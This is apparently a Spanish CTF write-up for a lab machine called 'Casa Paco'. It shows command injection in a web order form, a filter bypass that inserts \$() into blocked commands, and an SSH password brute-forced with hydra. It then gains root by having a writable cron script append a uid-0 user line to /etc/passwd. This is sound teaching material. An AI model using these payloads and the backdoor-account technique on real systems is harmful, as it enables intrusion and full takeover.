CASA PACO



Realizamos escaneo nmap donde descubrimos que la máquina tiene abiertos los puertos 22 y 80.

Añadimos el dominio al fichero hosts para evitar posibles errores.

```
batcat /etc/hosts | grep -i paco
192.168.16.22 casapaco.thl
```

Comenzando a revisar el puerto 80 en el apartado de menú tenemos la opción de comida para llevar, donde tendremos un formulario en el que podremos usar comandos de manera muy limitada puesto que habrá varios que a priori no podremos utilizar al igual que la mayoría de caracteres complejos. Por ejemplo, el comando id (dentro del campo de plato) funciona.

Haz tu pedido para llevar

Nombre:	
a	
Plato:	
id	
Enviar Pedido	
	Pedido confirmado
	Pedido confirmado u pedido de id estará listo para llevar.
Gracias, a . Ti	

En contraparte, uno de los comandos que no podemos usar es pwd. Devolviendonos el siguiente error.

pwd		
Enviar Pedido		

Error: Pide comida no intentes hackearme. Los callos estan muy ricos.

Los comandos bloqueados podemos bypasearlos añadiendo en el medio del comando la siguiente cadena \$()

Haz tu pedido para llevar

Nombre:	
a	
Plato:	
pw\$()d	
	Pedido confirmado
Gracias,	a. Tu pedido de pw\$()d estará listo para llevar.
	Salida del Comando:

Hasta el momento sabemos que somos www-data en su directorio por defecto, vamos a listar el contenido.

Nombre:
a
Plato:
I\$()s
Enviar Pedido
Pedido confirmado
Gracias, a. Tu pedido de I\$()s estará listo para llevar.
Salida del Comando:
index.html llevar.php llevar1.php menu.html pedidos.log static

Desde burpsuite (para que se vea mejor) vamos a ejecutar el comando cat del fichero .php para ver qué tipo de restricciones se están tomando. Como vemos, bloqueaba algunos de los comandos más usados al igual que la mayoría de caracteres especiales.

Se podría mirar si hay alguna forma de acceder desde esa página web, pero si recordamos cuando hicimos el comando la había una página llamada llevar1.php. Aunque la página tenga la misma apariencia, por detrás tiene un funcionamiento distinto, ya que, como podemos apreciar, en esta página no se está tomando ninguna restricción, pudiendo así realizar por ejemplo un cat de /etc/passwd.

Usando hydra para intentar detectar la contraseña del usuario pacogerente logramos descifrarla.

```
[22][ssh] host: 192.168.16.22 login: pacogerente password: dipset1

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-17 19:33:26
```

Nos logueamos por ssh.

```
> ssh pacogerente@192.168.16.22
pacogerente@192.168.16.22's password:
Linux Thehackerslabs-CasaPaco 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan 14 16:48:33 2025 from 192.168.1.38
pacogerente@Thehackerslabs-CasaPaco:~$ whoami
pacogerente@Thehackerslabs-CasaPaco:~$
```

Obtenemos la flag de user:

```
pacogerente@Thehackerslabs-CasaPaco:~$ cat user.txt
pacogerente@Thehackerslabs-CasaPaco:~$
```

A parte de la flag, en el directorio de pacogerente encontramos un script llamado fabada.sh donde internamente a través de cron ejecuta el comando date cada minuto.

```
pacogerente@Thehackerslabs-CasaPaco:~$ ls -lh
total 56K
-rwxrw-rw- 1 pacogerente pacogerente 110 ene 14 16:57 fabada.sh
-rw-r--r-- 1 root root 43K ene 17 19:54 log.txt
-rw-r--r-- 1 pacogerente pacogerente 33 ene 14 17:06 user.txt
pacogerente@Thehackerslabs-CasaPaco:~$ cat fabada.sh
#!/bin/bash

# Generar un log de actividad
echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt
pacogerente@Thehackerslabs-CasaPaco:~$ head -n1 log.txt
Ejecutado por cron el: mar 14 ene 2025 16:55:01 CET
pacogerente@Thehackerslabs-CasaPaco:~$
```

Para aprovechar esto existen muchas formas, en nuestro caso, creamos un usuario con privilegios de root.

```
pacogerente@Thehackerslabs-CasaPaco:~$ openssl passwd -1 abc123.
$1$ENTCL/mc$qV/30c0yp5Hc/cG8aREQk/
pacogerente@Thehackerslabs-CasaPaco:~$ nano fabada.sh
pacogerente@Thehackerslabs-CasaPaco:~$ nano fabada.sh
pacogerente@Thehackerslabs-CasaPaco:~$ cat fabada.sh
#!/bin/bash

# Generar un log de actividad
echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt
echo 'josehtw:$1$ENTCL/mc$qV/30c0yp5Hc/cG8aREQk/:0:0:root:root:/bin/bash' >> /etc/passwd
pacogerente@Thehackerslabs-CasaPaco:~$
```

Una vez comprobamos que se creó el usuario ya podemos iniciar sesión e ir a por la flag.

```
pacogerente@Thehackerslabs-CasaPaco:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
pacogerente:x:1001:1001::/home/pacogerente:/bin/bash
josehtw:$1$ENTCL/mc$qV/30c0yp5Hc/cG8aREQk/:0:0:root:root:/bin/bash
josehtw:$1$ENTCL/mc$qV/30c0yp5Hc/cG8aREQk/:0:0:root:root:/bin/bash
pacogerente@Thehackerslabs-CasaPaco:~$ su josehtw
Contraseña:
root@Thehackerslabs-CasaPaco:/home/pacogerente# cd /root/
root@Thehackerslabs-CasaPaco:/root# cat root.txt
```